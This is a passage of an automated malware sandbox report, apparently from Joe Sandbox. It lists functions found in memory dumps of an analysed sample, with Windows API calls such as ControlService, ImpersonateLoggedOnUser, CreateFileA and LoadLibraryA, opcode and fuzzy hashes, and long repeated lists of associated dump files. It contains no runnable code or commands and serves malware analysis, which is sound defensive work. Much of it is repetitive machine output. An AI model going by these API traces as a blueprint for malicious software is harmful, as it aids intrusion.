
Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05311580

Strings

Px8\, xrefs: 0531152F

Memory Dump Source

Source File: 00000007.00000002.1910766119.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5310000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: ControlService
String ID: Px8\
API String ID: 253159669-3320399986
Opcode ID: 1e39b643153b7f33767ed4a33e7493f92f20f86f1bda77f915214e720a318c86
Instruction ID: e92b04b3c2261a9029904a773eeabf31222e4633075976dd2d69ad9f446fb446
Opcode Fuzzy Hash: 1e39b643153b7f33767ed4a33e7493f92f20f86f1bda77f915214e720a318c86
Instruction Fuzzy Hash: 0311D3B59002499FDB10CFAAC484BDEFBF4AB48320F108029E959A3250D778A644CFA5

Function 05311509 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 05311580

Strings

Px8\, xrefs: 0531152F

Memory Dump Source

Source File: 00000007.00000002.1910766119.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5310000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: ControlService
String ID: Px8\
API String ID: 253159669-3320399986
Opcode ID: 8fdda54599b3f1d8b40246f11b78a624f5b6caed073d89b2b632b8614417cfa4
Instruction ID: 3ebea9c2c3f4bb87c265971e4d1654a98fac4234c39bb4d01e3b12e8c97cf67d
Opcode Fuzzy Hash: 8fdda54599b3f1d8b40246f11b78a624f5b6caed073d89b2b632b8614417cfa4
Instruction Fuzzy Hash: 252114B5D00209CFDB10CFAAC584BDEFBF4BB48321F10842AE919A3250D378A644CFA5

Function 05311301 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05311367

Strings

Px8\, xrefs: 05311322

Memory Dump Source

Source File: 00000007.00000002.1910766119.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5310000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID: Px8\
API String ID: 2216092060-3320399986
Opcode ID: 259c4916599a192af253ac9bcf848fe804e18e1e93026f6f97ac6ae3b525061c
Instruction ID: 4a1eb5f9f430ba88ec0d55b6125172b23ba73ca60c80c8cc06edc2d8e09f0036
Opcode Fuzzy Hash: 259c4916599a192af253ac9bcf848fe804e18e1e93026f6f97ac6ae3b525061c
Instruction Fuzzy Hash: 8E1125B1800249CFDB10CFAAC885BDEFBF4EF48720F14841AD518A3650D778A544CFA5

Function 05311308 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 05311367

Strings

Px8\, xrefs: 05311322

Memory Dump Source

Source File: 00000007.00000002.1910766119.0000000005310000.00000040.00000800.00020000.00000000.sdmp, Offset: 05310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5310000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID: Px8\
API String ID: 2216092060-3320399986
Opcode ID: 5ba39b7927a4580551faed8893956b9ca8df2d5f6d78d85637c55ad73f9dc16d
Instruction ID: 59ea123260c91a71bde29887fcd1aed8c652d8cd5e4087ca0f02b0ef49762b65
Opcode Fuzzy Hash: 5ba39b7927a4580551faed8893956b9ca8df2d5f6d78d85637c55ad73f9dc16d
Instruction Fuzzy Hash: AC1106B5800349CFDB10DFAAC445BDEFBF4EB48720F14841AD518A3650D778A544CFA5

Function 00564EDD Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00564EEB

Strings

C, xrefs: 0056528E

Memory Dump Source

Source File: 00000007.00000002.1907821384.000000000055E000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000007.00000002.1907605519.00000000003E0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907651562.00000000003E6000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907671596.00000000003EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907693787.00000000003F6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907780731.0000000000543000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907798068.0000000000545000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907860108.0000000000570000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907875920.0000000000572000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907893998.0000000000574000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907913922.0000000000575000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907936203.0000000000585000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907952516.0000000000586000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907975589.000000000059A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907994134.000000000059C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908013218.00000000005A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908052092.00000000005BB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908071388.00000000005C1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908092858.00000000005D0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908109301.00000000005D2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908127434.00000000005D3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908148365.00000000005D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908167512.00000000005D9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908186662.00000000005E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: e273df691bf52fbc6d2be5d0d528b2756727bfa047a120ada501aba7d296fc60
Instruction ID: b5b1a45fd6ee0821f9ad9d402d2018b4c7eecb8d4f29eb11c5fe17839a95812b
Opcode Fuzzy Hash: e273df691bf52fbc6d2be5d0d528b2756727bfa047a120ada501aba7d296fc60
Instruction Fuzzy Hash: 4401F4B294D3D50ECB128B3488B039D7F68AF97700F6901CAE941CB5C7D1925D14C799

Function 005608EF Relevance: 1.6, APIs: 1, Instructions: 108
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 005608EF

Memory Dump Source

Source File: 00000007.00000002.1907821384.000000000055E000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000007.00000002.1907605519.00000000003E0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907651562.00000000003E6000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907671596.00000000003EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907693787.00000000003F6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907780731.0000000000543000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907798068.0000000000545000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907860108.0000000000570000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907875920.0000000000572000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907893998.0000000000574000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907913922.0000000000575000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907936203.0000000000585000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907952516.0000000000586000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907975589.000000000059A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907994134.000000000059C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908013218.00000000005A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908052092.00000000005BB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908071388.00000000005C1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908092858.00000000005D0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908109301.00000000005D2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908127434.00000000005D3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908148365.00000000005D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908167512.00000000005D9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908186662.00000000005E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e9c5df1f0ff89522362a21aef71d161af96f5261c8f9e5dd28672b90880e398b
Instruction ID: 3c49003f2616f615a7f8aed0644f9e4e2231305be3fb428a3388619467e7a7b4
Opcode Fuzzy Hash: e9c5df1f0ff89522362a21aef71d161af96f5261c8f9e5dd28672b90880e398b
Instruction Fuzzy Hash: 873109F250C610EFE7016F09EC857BABBE5FB88320F11892DEAD483651D73548549A97

Function 00564FF9 Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1907821384.000000000055E000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000007.00000002.1907605519.00000000003E0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907651562.00000000003E6000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907671596.00000000003EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907693787.00000000003F6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907780731.0000000000543000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907798068.0000000000545000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907860108.0000000000570000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907875920.0000000000572000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907893998.0000000000574000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907913922.0000000000575000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907936203.0000000000585000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907952516.0000000000586000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907975589.000000000059A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907994134.000000000059C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908013218.00000000005A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908052092.00000000005BB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908071388.00000000005C1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908092858.00000000005D0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908109301.00000000005D2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908127434.00000000005D3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908148365.00000000005D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908167512.00000000005D9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908186662.00000000005E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47c462a8e9ef458b79396879d4f47ff5d37530dd9d70ca2115231d061248cac4
Instruction ID: f4cdebf694346795e99966dac10285a1f088ba5883ed5eb0032b78358157a717
Opcode Fuzzy Hash: 47c462a8e9ef458b79396879d4f47ff5d37530dd9d70ca2115231d061248cac4
Instruction Fuzzy Hash: E7217DB61487416FD711CF20D9147FBBFA8FB87770F30446AE405CF642E66298454A60

Function 00565024 Relevance: 1.6, APIs: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(0000005B,00565020,00000003,00000000,00000003,319DF5F0), ref: 00565114

Memory Dump Source

Source File: 00000007.00000002.1907821384.000000000055E000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000007.00000002.1907605519.00000000003E0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907651562.00000000003E6000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907671596.00000000003EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907693787.00000000003F6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907780731.0000000000543000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907798068.0000000000545000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907860108.0000000000570000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907875920.0000000000572000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907893998.0000000000574000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907913922.0000000000575000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907936203.0000000000585000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907952516.0000000000586000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907975589.000000000059A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907994134.000000000059C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908013218.00000000005A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908052092.00000000005BB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908071388.00000000005C1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908092858.00000000005D0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908109301.00000000005D2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908127434.00000000005D3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908148365.00000000005D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908167512.00000000005D9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908186662.00000000005E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d8acafd180fa64bb8870833a7e18c97564e22193bbf0ce38f454deca01a46baa
Instruction ID: 0cfb72d8c39e84bb750934fa54010f13aa0d134cb044f120f69f9d0c67c66e02
Opcode Fuzzy Hash: d8acafd180fa64bb8870833a7e18c97564e22193bbf0ce38f454deca01a46baa
Instruction Fuzzy Hash: 4B01D1B21C8A53BEA210CA109A68ABB2B5CF6C9370F308C2AF506C7101F221CD4965F4

Function 0056503F Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(0000005B,00565020,00000003,00000000,00000003,319DF5F0), ref: 00565114

Memory Dump Source

Source File: 00000007.00000002.1907821384.000000000055E000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000007.00000002.1907605519.00000000003E0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907629465.00000000003E2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907651562.00000000003E6000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907671596.00000000003EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907693787.00000000003F6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907780731.0000000000543000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907798068.0000000000545000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907821384.000000000056A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907860108.0000000000570000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907875920.0000000000572000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907893998.0000000000574000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907913922.0000000000575000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907936203.0000000000585000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907952516.0000000000586000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907975589.000000000059A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1907994134.000000000059C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908013218.00000000005A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908032481.00000000005B2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908052092.00000000005BB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908071388.00000000005C1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908092858.00000000005D0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908109301.00000000005D2000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908127434.00000000005D3000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908148365.00000000005D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908167512.00000000005D9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908186662.00000000005E1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908212590.00000000005F4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908234625.00000000005F8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908256465.00000000005F9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908275974.0000000000600000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908298677.0000000000607000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908322790.0000000000609000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908345346.000000000060A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908365898.0000000000612000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908398390.0000000000642000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908419597.0000000000643000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908446760.000000000066B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908469892.000000000066C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.000000000066D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908511109.0000000000673000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908636234.0000000000682000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1908658813.0000000000684000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_3e0000_1SC0KN6KHBFFEX9LB9FR.jbxd

Similarity

API ID: CreateFile
String ID:
